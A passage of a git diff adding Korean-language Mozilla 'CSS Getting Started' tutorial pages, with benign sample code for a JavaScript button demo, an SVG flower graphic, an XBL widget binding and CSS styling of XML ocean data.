+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+ More details</caption>
+ <tbody>
+ <tr>
+ <td>모질라에서의 자바스트립트에 대해 더 많은 정보를 원하시면, 이 위키(wiki)에 있는 <a href="ko/JavaScript">JavaScript</a>페이지를 보세요.</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.98.88.EC.A0.9C.28demonstration.29" name=".EC.95.A1.EC.85.98:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.98.88.EC.A0.9C.28demonstration.29">액션: 자바스크립트 예제(demonstration)</h3>
+<p>새로은 HTML 문서 <code>doc5.html</code>를 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+
+&lt;HEAD&gt;
+&lt;TITLE&gt;Mozilla CSS Getting Started - JavaScript demonstration&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style5.css"&gt;
+&lt;SCRIPT type="text/javascript" src="script5.js"&gt;&lt;/SCRIPT&gt;
+&lt;/HEAD&gt;
+
+&lt;BODY&gt;
+&lt;H1&gt;JavaScript sample&lt;/H1&gt;
+
+&lt;DIV id="square"&gt;&lt;/DIV&gt;
+
+&lt;BUTTON type="button" onclick="doDemo(this);"&gt;Click Me&lt;/BUTTON&gt;
+
+&lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>style5.css</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:</p>
+<div style="width: 48em;">
+ <pre>/*** JavaScript demonstration ***/
+#square {
+ width: 20em;
+ height: 20em;
+ border: 2px inset gray;
+ margin-bottom: 1em;
+ }
+
+button {
+ padding: .5em 2em;
+ }
+</pre>
+</div>
+<p>새로운 텍스트 파일 <code>script5.js</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:</p>
+<div style="width: 48em;">
+ <pre>// JavaScript demonstration
+function doDemo (button) {
+ var square = document.getElementById("square")
+ square.style.backgroundColor = "#fa4"
+ button.setAttribute("disabled", "true")
+ setTimeout(clearDemo, 2000, button)
+ }
+
+function clearDemo (button) {
+ var square = document.getElementById("square")
+ square.style.backgroundColor = "transparent"
+ button.removeAttribute("disabled")
+ }
+</pre>
+</div>
+<p>브라우저에서 문서을 열고 버튼을 누르세요.</p>
+<p>이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:</p>
+<table>
+ <tbody>
+ <tr>
+ <td style="padding-right: 2em;">
+ <table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
+ <tbody>
+ <tr>
+ <td>
+ <p><b>JavaScript demonstration</b></p>
+ <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white;">
+ <div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;">
+  </div>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>
+ <table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
+ <tbody>
+ <tr>
+ <td>
+ <p><b>JavaScript demonstration</b></p>
+ <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #fa4;">
+ <div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;">
+  </div>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>HTML 문서는 전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.</li>
+ <li>스크립트는 DOM안의 개개의 엘리먼트(element)와 함께 작동합니다. 스크립트는 사각형(square)의 스타일을 직접 수정합니다. 스크립트는 버튼의 스타일을 속성(attribute)을 변경함으로써 간접적으로 수정합니다.</li>
+ <li>자바스크립트에서 <code>document.getElementById("square")</code> 는 그 기능상 CSS 선별자(selector) <code>#square</code> 와 유사합니다.</li>
+ <li>자바스크립트에서 <code>backgroundColor</code>는 CSS 속성 <code>background-color</code>에 상응합니다.</li>
+ <li>브라우저는 버튼이 사용할 수 없게 되었을 때 그 모습을 바꾸어 주는 <code>button{{ mediawiki.external('disabled=\"true\"') }}</code>에 대한 내장된 CSS 규칙을 가지고 있습니다.</li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;">
+ <caption>
+ Challenge</caption>
+ <tbody>
+ <tr>
+ <td>스크립트를 변경해서 사각형(square)이 색이 변할 때 오른쪽으로 20em 점프했다가 이후 되 돌아오게 만드세요.</td>
+ </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 예제에서 HTML 문서가 단지 버튼 엘리먼트만이 스크립트를 사용함에도 불구하고 스크립트에 링크를 가지고 있었습니다. 모질라는 CSS를 확장해서 자바스크립트 코드를 (내용물과 다른 스타일 시트들도) 선택된 엘리먼트에 링크할 수 있게 합니다. 다음 페이지에서는 다음을 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/XBL_bindings">XBL bindings</a></b></p>
diff --git a/files/ko/web/css/getting_started/svg_graphics/index.html b/files/ko/web/css/getting_started/svg_graphics/index.html
new file mode 100644
index 0000000000..d8ca001fb2
--- /dev/null
+++ b/files/ko/web/css/getting_started/svg_graphics/index.html
@@ -0,0 +1,195 @@
+---
+title: SVG graphics
+slug: Web/CSS/Getting_Started/SVG_graphics
+tags:
+ - 'CSS:Getting_Started'
+translation_of: Web/SVG/Tutorial/SVG_and_CSS
+---
+<p>이 페이지는 그래픽을 만들기 위한 특별한 언어 SVG를 설명합니다.</p>
+<p>SVG 기능이 있는 모질라 브라우저에서 작동하는 간단한 예제를 만듭니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_SVG" name=".EC.A0.95.EB.B3.B4:_SVG">정보: SVG</h3>
+<p>
+ <i>
+ SVG</i>
+ (Scalable Vector Graphics, 스케일러블 벡터 그래픽)은 그래픽을 만들어내기 위한 XML-기반 언어입니다.</p>
+<p>움직이지 않는 이미지(static image)를 위해 사용될 수 있으며, 또한 애니메이션 과 사용자 인터페이스를 위해서도 사용될 수 있습니다.</p>
+<p>다른 XML-기반 언어들과 같이, SVG는 CSS 스타일 시트를 지원하여 그래픽에 사용되는 스타일을 그래픽의 내용물과 분리시킬 수 있게 합니다.</p>
+<p>또한, 다른 문서 마크업 언어들과 함께 사용되는 스타일 시트들도 이미지가 요구되는 곳에 SVG 그래픽의 URL을 지정할 수 있습니다. 예를들면, HTML 문서와 함께 사용하는 스타일 시트에서 <code>background</code> 속성 값에 SVG값의 URL을 지정할 수 있습니다.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+ More details</caption>
+ <tbody>
+ <tr>
+ <td>이글을 쓰는 시점에서(2005년 중반), 모질라 브라우저의 몇몇 최근 빌드만이 SVG 지원을 내장하고 있었습니다.
+ <p><a class="external" href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>에서 제공되는 것 같은 플럭인(plugin)을 인스톨하면 다른 버전에서도 SVG 지원을 추가할 수 있습니다.</p>
+ <p>모질라에서의 SVG에 관한 더많은 정보를 원하시면, 이 위키안의 <a href="ko/SVG">SVG</a> 페이지를 보세요.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_SVG_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_SVG_.EC.98.88.EC.A0.9C">액션: SVG 예제</h3>
+<p>새로운 SVG 문서를 텍스트 파일 <code>doc8.svg</code>로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style8.css"?&gt;
+
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+ "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+
+&lt;svg width="600px" height="600px" viewBox="-300 -300 600 600"
+ xmlns="http://www.w3.org/2000/svg" version="1.1"
+ xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+&lt;title&gt;SVG demonstration&lt;/title&gt;
+&lt;desc&gt;Mozilla CSS Getting Started - SVG demonstration&lt;/desc&gt;
+
+&lt;defs&gt;
+ &lt;g id="segment" class="segment"&gt;
+ &lt;path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/&gt;
+ &lt;path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/&gt;
+ &lt;/g&gt;
+ &lt;g id="quadrant"&gt;
+ &lt;use xlink:href="#segment"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(18)"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(36)"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(54)"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(72)"/&gt;
+ &lt;/g&gt;
+ &lt;g id="petals"&gt;
+ &lt;use xlink:href="#quadrant"/&gt;
+ &lt;use xlink:href="#quadrant" transform="rotate(90)"/&gt;
+ &lt;use xlink:href="#quadrant" transform="rotate(180)"/&gt;
+ &lt;use xlink:href="#quadrant" transform="rotate(270)"/&gt;
+ &lt;/g&gt;
+ &lt;radialGradient id="fade" cx="0" cy="0" r="200"
+ gradientUnits="userSpaceOnUse"&gt;
+ &lt;stop id="fade-stop-1" offset="33%"/&gt;
+ &lt;stop id="fade-stop-2" offset="95%"/&gt;
+ &lt;/radialGradient&gt;
+ &lt;/defs&gt;
+
+&lt;text id="heading" x="-280" y="-270"&gt;
+ SVG demonstration&lt;/text&gt;
+&lt;text id="caption" x="-280" y="-250"&gt;
+ Move your mouse pointer over the flower.&lt;/text&gt;
+
+&lt;g id="flower"&gt;
+ &lt;circle id="overlay" cx="0" cy="0" r="200"
+ stroke="none" fill="url(#fade)"/&gt;
+ &lt;use id="outer-petals" xlink:href="#petals"/&gt;
+ &lt;use id="inner-petals" xlink:href="#petals"
+ transform="rotate(9) scale(0.33)"/&gt;
+ &lt;/g&gt;
+
+&lt;/svg&gt;
+</pre>
+</div>
+<p>새로운 CSS 문서를 텍스트 파일 <code>style8.css</code>로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>/*** SVG demonstration ***/
+
+/* page */
+svg {
+ background-color: beige;
+ }
+
+#heading {
+ font-size: 24px;
+ font-weight: bold;
+ }
+
+#caption {
+ font-size: 12px;
+ }
+
+/* flower */
+#flower:hover {
+ cursor: crosshair;
+ }
+
+/* gradient */
+#fade-stop-1 {
+ stop-color: blue;
+ }
+
+#fade-stop-2 {
+ stop-color: white;
+ }
+
+/* outer petals */
+#outer-petals {
+ opacity: .75;
+ }
+
+#outer-petals .segment-fill {
+ fill: azure;
+ stroke: lightsteelblue;
+ stroke-width: 1;
+ }
+
+#outer-petals .segment-edge {
+ fill: none;
+ stroke: deepskyblue;
+ stroke-width: 3;
+ }
+
+#outer-petals .segment:hover &gt; .segment-fill {
+ fill: plum;
+ stroke: none;
+ }
+
+#outer-petals .segment:hover &gt; .segment-edge {
+ stroke: slateblue;
+ }
+
+/* inner petals */
+#inner-petals .segment-fill {
+ fill: yellow;
+ stroke: yellowgreen;
+ stroke-width: 1;
+ }
+
+#inner-petals .segment-edge {
+ fill: none;
+ stroke: yellowgreen;
+ stroke-width: 9;
+ }
+
+#inner-petals .segment:hover &gt; .segment-fill {
+ fill: darkseagreen;
+ stroke: none;
+ }
+
+#inner-petals .segment:hover &gt; .segment-edge {
+ stroke: green;
+ }
+</pre>
+</div>
+<p>문서를 SVG 기능이 있는(SVG-enabled) 브라우저에서 여세요. 마우스 포인터(mouse pointer)를 그래픽위로 움직여 보세요.</p>
+<p>이 위키페이지는 SVG를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 다음과 같이 보입니다:</p>
+<table style="border: 2px outset #36b;">
+ <tbody>
+ <tr>
+ <td><img alt="SVG demonstration"></td>
+ </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>SVG 문서는 전처럼 스타일 시트에 링크되어 있습니다.</li>
+ <li>SVG는 그 자신만의 CSS 스타일 시트와 값을 가지고 있습니다. 이들중 몇가지는 HTML을 위한 CSS의 속성과 비슷합니다.</li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+ <caption>
+ Challenge</caption>
+ <tbody>
+ <tr>
+ <td>스타일 시트를 변경해서, 마우스 포인터가 안쪽 꽃잎들 중 한개 위에 오게 되면, 바깥 쪽 꽃잎이 작동하는 방식은 바뀌지 않은채 모든 안쪽꽃잎 색이 핑크(pink)색으로 변하게 하세요</td>
+ </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 예제에서 SVG 기능이 있는(SVG enabled) 브라우저는 이미 SVG 엘리먼트를 디스플레이하는 방법을 알고 있습니다. 스타일 시트는 단지 그 디스플레이를 특정 방식으로 수정할 뿐 입니다. 그러나 디스플레이하는 방식이 미리 지정되어 있지 않은 범용(general-purpose) XML 문서를 위해서 CSS를 사용할 수있습니다. 다음 페이지에서는 이를 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/XML_data">XML data</a></b></p>
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pl": "pl/CSS/Na_pocz\u0105tek/Grafika_SVG" } ) }}</p>
diff --git a/files/ko/web/css/getting_started/xbl_bindings/index.html b/files/ko/web/css/getting_started/xbl_bindings/index.html
new file mode 100644
index 0000000000..6799095812
--- /dev/null
+++ b/files/ko/web/css/getting_started/xbl_bindings/index.html
@@ -0,0 +1,198 @@
+---
+title: XBL bindings
+slug: Web/CSS/Getting_Started/XBL_bindings
+tags:
+ - 'CSS:Getting_Started'
+translation_of: Archive/Beginner_tutorials/Using_XBL_from_stylesheets
+---
+<p>이 페이지는 모질라에서 CSS를 사용하여 복잡한 애플리케이션의 구조를 향상시켜 코드와 자원(resources)을 보다 쉽게 재사용(recycle)할 수 있게 만드는 방법을 설명합니다.</p>
+<p>이 테크닉을 간단한 예제에 적용시켜 봅니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_XBL_.EB.B0.94.EC.9D.B8.EB.94.A9.28bindings.29" name=".EC.A0.95.EB.B3.B4:_XBL_.EB.B0.94.EC.9D.B8.EB.94.A9.28bindings.29">정보: XBL 바인딩(bindings)</h3>
+<p>마크업 언어와 CSS에서 제공되는 구조(structure)는 각 부분이 독립적이고(self-contained) 재 사용되어야 하는 복잡한 애플리케이션에 이상적이라고는 할 수 없습니다. 스타일 시트들을 다른 파일들에 저장할 수 있고, 스크립트들도 다른 파일들에 저장 해 놓을 수 있으나, 문서에서 이들 파일들을 하나의 전체로서 링크해야만 합니다.</p>
+<p>또 다른 구조적 제한사항은 내용물에 관한 것입니다. CSS를 사용하여 선택된 엘리먼트들에 내용물을 제공해 줄 수 있으나, 내용물은 텍스트와 이미지에 한정되어 있으며, 그 위치지정은(positioning) 선택된 엘리먼트의 앞 또는 뒤로 한정되어 있습니다.</p>
+<p>모질라는 이러한 제한 사항들을 극복할 미케니즘을 제공합니다:
+ <i>
+ XBL</i>
+ (XML 바인딩 언어, XML Binding Language)가 바로 그것입니다. XBL을 사용해서 선택된 엘리먼트를 다음의 것들과 링크시킬 수 있습니다:</p>
+<ul>
+ <li>에리먼트의 스타일 시트</li>
+ <li>엘리먼트의 내용물</li>
+ <li>엘리먼트의 속성(property)과 메소드(method)</li>
+ <li>엘리먼트의 이벤트 핸들러(event hadler)</li>
+</ul>
+<p>문서 레벨에서 모든것을 링크시키는 것을 피할 수 있기 때문에, 유지와 재사용이 쉬운 독립적인 부분들을 만들어 낼 수 있습니다.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+ More details</caption>
+ <tbody>
+ <tr>
+ <td>XBL 바인딩에 대한 더 많은 정보를 원하시면, 이 위키의 <a href="ko/XBL">XBL</a> 페이지를 보세요.</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_XBL_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_XBL_.EC.98.88.EC.A0.9C">액션: XBL 예제</h3>
+<p>새로운 HTML 문서 <code>doc6.html</code>를 만드세요. 아래의 내용물을 복사해서 붙여넣으세요.</p>
+<div style="width: 48em;">
+ <pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+
+&lt;HEAD&gt;
+&lt;TITLE&gt;Mozilla CSS Getting Started - XBL demonstration&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style6.css"&gt;&lt;/strong&gt;
+&lt;/HEAD&gt;
+
+&lt;BODY&gt;
+&lt;H1&gt;XBL demonstration&lt;/H1&gt;
+&lt;DIV id="square"&gt;Click Me&lt;/DIV&gt;
+&lt;/BODY&gt;
+
+&lt;/HTML&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>style6.css</code>을 만드세요. 이 스타일 시트는 문서 스타일을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.</p>
+<div style="width: 48em;">
+ <pre>/*** XBL demonstration ***/
+#square {
+ -moz-binding: url("square.xbl#square");
+ }
+</pre>
+</div>
+<p>새로운 텍스트 파일 <code>square.xbl</code>을 만드세요. 이 스타일 시트는 XBL 바인딩(binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<p> </p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE bindings&gt;
+&lt;bindings xmlns="http://www.mozilla.org/xbl"&gt;
+
+&lt;binding id="square"&gt;
+
+ &lt;resources&gt;
+ &lt;stylesheet src="bind6.css"/&gt;
+ &lt;/resources&gt;
+
+ &lt;content xmlns="http://www.w3.org/1999/xhtml"&gt;
+ &lt;div anonid="square"/&gt;
+ &lt;button anonid="button" type="button"&gt;
+ &lt;xbl:children/&gt;
+ &lt;/button&gt;
+ &lt;/content&gt;
+
+ &lt;implementation&gt;
+
+ &lt;field name="square"&gt;&lt;![CDATA[
+ document.getAnonymousElementByAttribute(this, "anonid", "square")
+ ]]&gt;&lt;/field&gt;
+
+ &lt;field name="button"&gt;&lt;![CDATA[
+ document.getAnonymousElementByAttribute(this, "anonid", "button")
+ ]]&gt;&lt;/field&gt;
+
+ &lt;method name="doDemo"&gt;
+ &lt;body&gt;&lt;![CDATA[
+ this.square.style.backgroundColor = "#cf4"
+ this.square.style.marginLeft = "20em"
+ this.button.setAttribute("disabled", "true")
+ setTimeout(this.clearDemo, 2000, this)
+ ]]&gt;&lt;/body&gt;
+ &lt;/method&gt;
+
+ &lt;method name="clearDemo"&gt;
+ &lt;parameter name="me"/&gt;
+ &lt;body&gt;&lt;![CDATA[
+ me.square.style.backgroundColor = "transparent"
+ me.square.style.marginLeft = "0"
+ me.button.removeAttribute("disabled")
+ ]]&gt;&lt;/body&gt;
+ &lt;/method&gt;
+
+ &lt;/implementation&gt;
+
+ &lt;handlers&gt;
+ &lt;handler event="click" button="0"&gt;&lt;![CDATA[
+ if (event.originalTarget == this.button) this.doDemo()
+ ]]&gt;&lt;/handler&gt;
+ &lt;/handlers&gt;
+
+ &lt;/binding&gt;
+
+&lt;/bindings&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>bind6.css</code>을 만드세요. 이 새 스타일 시트는 바인딩에대한 스타일(style for the binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.</p>
+<div style="width: 48em;">
+ <pre>/*** XBL demonstration ***/
+[anonid="square"] {
+ width: 20em;
+ height: 20em;
+ border: 2px inset gray;
+ }
+
+[anonid="button"] {
+ margin-top: 1em;
+ padding: .5em 2em;"
+ }
+</pre>
+</div>
+<p>브라우저에서 문서을 열고 버튼을 누르세요.</p>
+<p>이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:</p>
+<table>
+ <tbody>
+ <tr>
+ <td style="padding-right: 2em;">
+ <table style="border: 2px outset #36b; padding: 0 4em .5em .5em;">
+ <tbody>
+ <tr>
+ <td>
+ <p><b>XBL demonstration</b></p>
+ <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white; margin-right: 5em;">
+ <div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;">
+  </div>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>
+ <table style="border: 2px outset #36b; padding: 0 4em .5em .5em;">
+ <tbody>
+ <tr>
+ <td>
+ <p><b>XBL demonstration</b></p>
+ <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #cf4; margin-left: 5em;">
+ <div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;">
+  </div>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>HTML 문서는 전처럼 문서의 스타일 시트에 링크되어 있습니다. 그러나 어떤 자바스크립트 코드에도 링크되어 있지 않습니다.</li>
+ <li>문서는 아무 버튼도 포함하고 있지 않습니다. 문서는 버튼 레이블(label)의 텍스트만을 포함하고 있습니다. 버튼은 바인딩(binding)에 의해서 더해집니다.</li>
+ <li>문서 스타일 시트는 바인딩(binding)에 링크되어 있습니다.</li>
+ <li>바인딩(binding)은 그 자신의 스타일에 링크되어 있고, 그 자신의 내용물과 자바스크립트 코드를 지원합니다. 따라서, 바인딩은 독립적으로(self-contained) 되어있습니다.</li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;">
+ <caption>
+ Challenges</caption>
+ <tbody>
+ <tr>
+ <td>XBL 파일을 수정해서 사각형(square)이 색이 바뀔 때 오른쪽으로 점핑하는 대신 폭이(width) 2배가 되도록 하세요.
+ <p>DOM Inspector tool을 사용하여 문서를 조사해서 추가된 내용물을 확인해 보세요.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 문서에서, 사각형(square)과 버튼은 독립적인 HTML 문서내에서 작동하는
+ <i>
+ 위젯(widget)</i>
+ 이 되었습니다. 모질라는 사용자 인터페이스를 만들어내는 데 특별한 마크업 언어를 가지고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/XUL_user_interfaces">XUL user interfaces</a></b></p>
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Liaisons_XBL", "pl": "pl/CSS/Na_pocz\u0105tek/Wi\u0105zania_XBL" } ) }}</p>
diff --git a/files/ko/web/css/getting_started/xml_data/index.html b/files/ko/web/css/getting_started/xml_data/index.html
new file mode 100644
index 0000000000..fc674a29e4
--- /dev/null
+++ b/files/ko/web/css/getting_started/xml_data/index.html
@@ -0,0 +1,186 @@
+---
+title: XML data
+slug: Web/CSS/Getting_Started/XML_data
+tags:
+ - 'CSS:Getting_Started'
+translation_of: Archive/Beginner_tutorials/XML_data
+---
+<p>이 페이지는 XML 데이터와 함께 CSS를 사용할 수 있는 방법에 대한 예제들을 담고 있습니다.
+</p><p>샘플 XML 문서와 이 문서를 브라우저에 디스플레이할 때 사용할 수 있는 스타일 시트를 만듭니다.
+</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_XML_.EB.8D.B0.EC.9D.B4.ED.84.B0" name=".EC.A0.95.EB.B3.B4:_XML_.EB.8D.B0.EC.9D.B4.ED.84.B0"> 정보: XML 데이터 </h3>
+<p><i><a href="ko/XML">XML</a></i>(확장 마크업 언어, eXtensible Markup Lanugage)는 모든 종류의 구조화 된 데이터를 위한 범용(general-purpose) 언어입니다.
+</p><p>디폴트로, 모질라 브라우저는 XML을 XML파일의 원래 데이터와 매우 유사한 포맷으로 디스플레이합니다.
+데이터의 구조를 정의하는 실제 택들을 볼 수 있습니다.
+</p><p>CSS 스타일 시트를 XML 문서와 링크함으로써, 이를 디스플레이하는 다른 방식을 정의할 수 있습니다.
+이를 위해, 스타일 시트는 XML 문서의 택들과 HTML에 의해 사용되는 디스플레이 유형들(types)에 매핑(map)시키는 규칙들을 사용합니다.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Example
+</caption><tbody><tr>
+<td> XML 문서의 데이터는 <code>html:input</code> 택들을 사용합니다. 문서의 <small>INFO</small> 엘리먼트들이 HTML 단락처럼 디스플레이 되기 원한다고 가정합시다.
+<p>문서의 스타일 시트에 <small>INFO</small>엘리먼트가 어떻게 디스플레이 될 것인지 지정합니다:
+</p>
+<div style="width: 30em;">
+<pre class="eval">INFO {
+ display: block;
+ margin: 1em 0;
+ }
+</pre>
+</div>
+</td></tr></tbody></table>
+<p>가장 흔한 <code>display</code> 속성 값은 다음과 같습니다:
+</p>
+<table style="margin-left: 2em;">
+<tbody><tr>
+<td style="padding-right: 2em;"><code>block</code></td><td>HTML의 <small>DIV</small>처럼 나타남 (머리글, 문단 등)
+</td></tr>
+<tr>
+<td><code>inline</code></td><td>HTML의 <small>SPAN</small>처럼 나타남 (문서의 강조)
+</td></tr></tbody></table>
+<p>HTML에서와 같은 방식으로 폰트, 스페이싱(spacing) 그리고 다른 세부사항들을 지정하는 자기 자신의 스타일 규칙을 더하세요.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>More details
+</caption><tbody><tr>
+<td> <code>display</code>의 다른 값들은 그 엘리먼트를 리스트 아이템 처럼 , 또는 표의 컴포넌트(component) 처럼 디스플레이 합니다.
+<p>디스플레이 유형들(types)의 완전한 리스트를 원하시면, CSS 규약의 <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-display">The display property</a>을 보세요.
+</p><p>CSS 만을 사용하면, 디스플레이의 구조가 문서의 구조와 똑 같을 것입니다.
+다른 기술을 사용해서 디스플레이 구조를 수정할 수 있습니다 — 예를 들면, XBL로 내용물을 더할 수 있으며 자바스크립트로 DOM을 수정할 수 있습니다.
+</p><p>모질라에서의 XML에 관해서 더 많은 정보를 원하시면, 이 위키의 <a href="ko/XML">XML</a> 페이지를 보세요.
+</p>
+</td></tr></tbody></table>
+<h3 id=".EC.95.A1.EC.85.98:_XML_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_XML_.EC.98.88.EC.A0.9C"> 액션: XML 예제 </h3>
+<p>새로운 XML 문서를 텍스트 파일 <code>doc9.xml</code>로 만드세요.
+아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;?xml version="1.0"?&gt;
+&lt;!-- XML demonstration --&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style9.css"?&gt;
+
+&lt;!DOCTYPE planet&gt;
+&lt;planet&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Arctic&lt;/name&gt;
+&lt;area&gt;13,000&lt;/area&gt;
+&lt;depth&gt;1,200&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Atlantic&lt;/name&gt;
+&lt;area&gt;87,000&lt;/area&gt;
+&lt;depth&gt;3,900&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Pacific&lt;/name&gt;
+&lt;area&gt;180,000&lt;/area&gt;
+&lt;depth&gt;4,000&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Indian&lt;/name&gt;
+&lt;area&gt;75,000&lt;/area&gt;
+&lt;depth&gt;3,900&lt;/depth&gt;
+&lt;/ocean&gt;
+
